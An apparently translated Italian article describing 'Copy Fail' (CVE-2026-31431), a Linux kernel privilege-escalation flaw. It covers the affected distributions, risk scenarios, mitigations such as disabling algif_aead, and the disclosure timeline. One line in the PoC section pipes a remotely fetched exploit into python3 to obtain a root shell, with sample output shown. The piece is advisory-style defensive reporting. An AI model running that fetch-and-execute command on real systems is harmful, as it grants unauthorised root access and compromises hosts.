← Torna all’elenco

732 byte per compromettere Linux: una vulnerabilità epica nascosta per quasi un decennio

itadol5j

Vulnerabilità Copy Fail

🚨 Vulnerabilità epica: 732 byte per compromettere tutti i Linux, in agguato per quasi un decennio

Una vulnerabilità del kernel Linux denominata"Copy Fail"(CVE-2026-31431) è stata divulgata pubblicamente:

  • 732 bytedi codice Python
  • 100% affidabile, senza bisogno di finestre di race condition né di offset del kernel
  • Interessa tutte le distribuzioni Linux(dal 2017 a oggi)
  • Primitiva di container escape, attacco cross-tenant
  • In agguato per quasi un decennio, fino alla divulgazione pubblica del 29 aprile 2026

Lo stesso scriptsu Ubuntu, RHEL, Amazon Linux e SUSEfunziona senza alcuna modifica.

🎯 Il cuore della vulnerabilità

Un singolo difetto logico

Copy Fail è undifetto logico lineare:

  • Nessuna finestra di race necessaria: a differenza della maggior parte delle LPE Linux, che richiedono race condition
  • Nessun offset del kernel richiesto: non servono offset specifici del kernel
  • 100% affidabile: riesce ogni volta
  • Lo stesso script: funziona su tutte le distribuzioni

La catena di sfruttamento

La catena di attacco di Copy Fail:

  • Bug logico authencesn: un bug logico
  • AF_ALG: tramite la crypto API del kernel
  • splice(): chiamate concatenate
  • Scrittura di 4 byte nella page cache: la primitiva di attacco finale
  • Sfruttabile per quasi un decennio: dal 2017 fino al rilascio della patch

📊 Perimetro dei sistemi interessati

Distribuzioni verificate ufficialmente

Distribuzione Versione del kernel Stato
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verificata
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verificata
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verificata
SUSE 16 6.12.0-160000.9-default ✅ Verificata

Altre distribuzioni interessate

Anche le seguenti distribuzionisono interessate:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux embedded

Conclusione: se il tuo kernel è stato compilato tra il 2017 e la patch —sei interessato.

💡 Scenari ad alto rischio

Scenario Rischio Impatto
Host Linux multi-tenant Alto Qualsiasi utente diventa root
Cluster Kubernetes / container Alto Attacchi tra container e tra tenant
CI Runner / Build Farm Alto Una PR diventa root del runner
Cloud SaaS che esegue codice utente Alto Il tenant diventa root dell'host
Server Linux standard Medio LPE interna, sfruttabile in catena
Notebook monoutente Basso Passaggio di privilege escalation post-exploitation

🔧 Contromisure

Opzione 1: aggiornare il kernel (consigliato)

Aggiornare il kernel a una versione che includail commit mainline a664bf3d603d:

  • Contenuto della fix: annulla l'ottimizzazione in-place di algif_aead del 2017
  • Effetto: le pagine della page cache non compaiono più nella destination scatterlist scrivibile
  • Stato: la maggior parte delle distribuzioni principali ha già rilasciato la patch

Opzione 2: disattivare il modulo algif_aead (temporanea)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impatto della disattivazione di algif_aead

Componente Impatto
dm-crypt / LUKS Non interessato
kTLS / IPsec Non interessato
OpenSSL / SSH Non interessato
Spazio utente AF_ALG Possibilmente interessato

Conclusione: per la maggior parte dei sistemi, disattivare algif_aeadnon ha effetti evidenti.

Opzione 3: bloccare AF_ALG con seccomp

Per i carichi di lavoro non fidati (container, sandbox, CI), bloccare la creazione di socket AF_ALG tramite seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Dimostrazione del PoC

Il PoC della vulnerabilità è pubblico, così che i defender possano verificare i propri sistemi:

Esecuzione rapida

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Dettagli del PoC

  • Dimensione del file: 732 byte
  • Linguaggio: solo standard library di Python 3.10+ (os, socket, zlib)
  • Target predefinito: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Avvertenza: lo script modifica la page cache di un binario setuid; le modifiche non persistono dopo il riavvio, ma la shell root è reale. Non eseguirlo in ambienti di produzione.

📅 Cronologia della divulgazione

Data Evento
2026-03-23 Segnalazione al team di sicurezza del kernel Linux
2026-03-24 Conferma iniziale
2026-03-25 Proposta e revisione della patch
2026-04-01 Patch inviata al mainline
2026-04-22 Assegnazione di CVE-2026-31431
2026-04-29 Divulgazione pubblica

🔍 Scopritore: Xint Code

La vulnerabilità è stata scoperta daXint Code:

  • Tempo di scansione: circa 1 ora di scansione del sottosistema crypto/ di Linux
  • Metodo di scoperta: code audit basato su AI
  • Analisi completa: root cause, diagrammi, operator prompt
  • Altri risultati: scoperte contemporaneamente altre vulnerabilità ad alta gravità, ancora in fase di coordinated disclosure

Palmarès di Xint Code

  • 0-day RCE: ZeroDay Cloud, spazzata la categoria database (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finalista della DARPA AI Cyber Challenge
  • DEF CON CTF 9×: squadra con più vittorie nella storia del DEF CON CTF

📝 Conclusioni

Copy Fail (CVE-2026-31431) è unavulnerabilità epica del kernel Linux:

  • 732 byte per compromettere tutti i Linux (dal 2017 a oggi)
  • 100% affidabile, un singolo difetto logico
  • Container escape, attacchi cross-tenant
  • In agguato per quasi un decennio, fino alla divulgazione del 29 aprile 2026
  • Scenari ad alto rischio: host multi-tenant, cluster di container, CI Runner, SaaS
  • Mitigazione: aggiornare il kernel o disattivare algif_aead
  • Scopritore: Xint Code, code audit basato su AI

Una vulnerabilità epica di quasi un decennio: un solo script per tutti i Linux.

Sito ufficiale della vulnerabilità:https://copy.fail

PoC su GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431

Analisi tecnica:https://xint.io/blog/copy-fail-linux-distributions

Patch del kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5